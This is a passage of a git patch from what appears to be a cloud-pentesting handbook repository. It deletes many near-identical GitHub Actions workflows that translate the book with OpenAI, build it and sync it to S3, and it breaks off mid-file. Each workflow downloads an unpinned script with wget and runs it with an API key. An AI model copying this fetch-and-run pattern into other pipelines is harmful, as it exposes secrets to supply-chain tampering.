From 11dabf4ac2579e409494128fe1081cb42ce03b6c Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 21 Aug 2025 00:24:34 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az --- .github/workflows/translate_af.yml | 119 -------- .github/workflows/translate_de.yml | 119 -------- .github/workflows/translate_el.yml | 119 -------- .github/workflows/translate_es.yml | 119 -------- .github/workflows/translate_fr.yml | 119 -------- .github/workflows/translate_it.yml | 119 -------- .github/workflows/translate_ja.yml | 119 -------- .github/workflows/translate_ko.yml | 119 -------- .github/workflows/translate_pl.yml | 119 -------- .github/workflows/translate_pt.yml | 119 -------- .github/workflows/translate_sr.yml | 119 -------- .github/workflows/translate_sw.yml | 119 -------- .github/workflows/translate_tr.yml | 119 -------- .github/workflows/translate_uk.yml | 119 -------- .github/workflows/translate_zh.yml | 119 -------- .../github-security/README.md | 266 ++++++++++++++---- .../aws-services/aws-macie-enum.md | 144 ++++++++-- .../az-postgresql-post-exploitation.md | 23 +- .../az-services/az-automation-accounts.md | 32 ++- .../az-services/az-container-registry.md | 32 ++- .../az-services/az-logic-apps.md | 238 +++++++++++----- 21 files changed, 538 insertions(+), 1982 deletions(-) delete mode 100644 .github/workflows/translate_af.yml delete mode 100644 .github/workflows/translate_de.yml delete mode 100644 .github/workflows/translate_el.yml delete mode 100644 .github/workflows/translate_es.yml delete mode 100644 .github/workflows/translate_fr.yml delete mode 100644 .github/workflows/translate_it.yml delete mode 100644 .github/workflows/translate_ja.yml delete mode 100644 .github/workflows/translate_ko.yml delete mode 100644 .github/workflows/translate_pl.yml delete mode 100644 .github/workflows/translate_pt.yml delete mode 100644 .github/workflows/translate_sr.yml delete mode 100644 .github/workflows/translate_sw.yml delete mode 100644 .github/workflows/translate_tr.yml delete mode 100644 .github/workflows/translate_uk.yml delete mode 100644 .github/workflows/translate_zh.yml diff --git a/.github/workflows/translate_af.yml b/.github/workflows/translate_af.yml deleted file mode 100644 index 027419cd8..000000000 --- a/.github/workflows/translate_af.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to AF (Afrikaans) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: af - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Afrikaans - BRANCH: af - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_de.yml b/.github/workflows/translate_de.yml deleted file mode 100644 index bff3dba78..000000000 --- a/.github/workflows/translate_de.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to DE (German) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: de - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: German - BRANCH: de - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_el.yml b/.github/workflows/translate_el.yml deleted file mode 100644 index 743f1d2dd..000000000 --- a/.github/workflows/translate_el.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to EL (Greek) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: el - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Greek - BRANCH: el - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_es.yml b/.github/workflows/translate_es.yml deleted file mode 100644 index 7a1a78ee2..000000000 --- a/.github/workflows/translate_es.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ES (Spanish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: es - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Spanish - BRANCH: es - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_fr.yml b/.github/workflows/translate_fr.yml deleted file mode 100644 index 412c0b024..000000000 --- a/.github/workflows/translate_fr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to FR (French) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: fr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: French - BRANCH: fr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_it.yml b/.github/workflows/translate_it.yml deleted file mode 100644 index 035f02d99..000000000 --- a/.github/workflows/translate_it.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to IT (Italian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: it - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Italian - BRANCH: it - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_ja.yml b/.github/workflows/translate_ja.yml deleted file mode 100644 index 29379d9e7..000000000 --- a/.github/workflows/translate_ja.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to JA (Japanese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: ja - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Japanese - BRANCH: ja - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_ko.yml b/.github/workflows/translate_ko.yml deleted file mode 100644 index 16669be6f..000000000 --- a/.github/workflows/translate_ko.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to KO (Korean) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: ko - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Korean - BRANCH: ko - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_pl.yml b/.github/workflows/translate_pl.yml deleted file mode 100644 index f0ebf6f61..000000000 --- a/.github/workflows/translate_pl.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to PL (Polish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: pl - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Polish - BRANCH: pl - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_pt.yml b/.github/workflows/translate_pt.yml deleted file mode 100644 index b7dbb3249..000000000 --- a/.github/workflows/translate_pt.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to PT (Portuguese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: pt - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Portuguese - BRANCH: pt - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_sr.yml b/.github/workflows/translate_sr.yml deleted file mode 100644 index 4a9290527..000000000 --- a/.github/workflows/translate_sr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to SR (Serbian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: sr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Serbian - BRANCH: sr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - 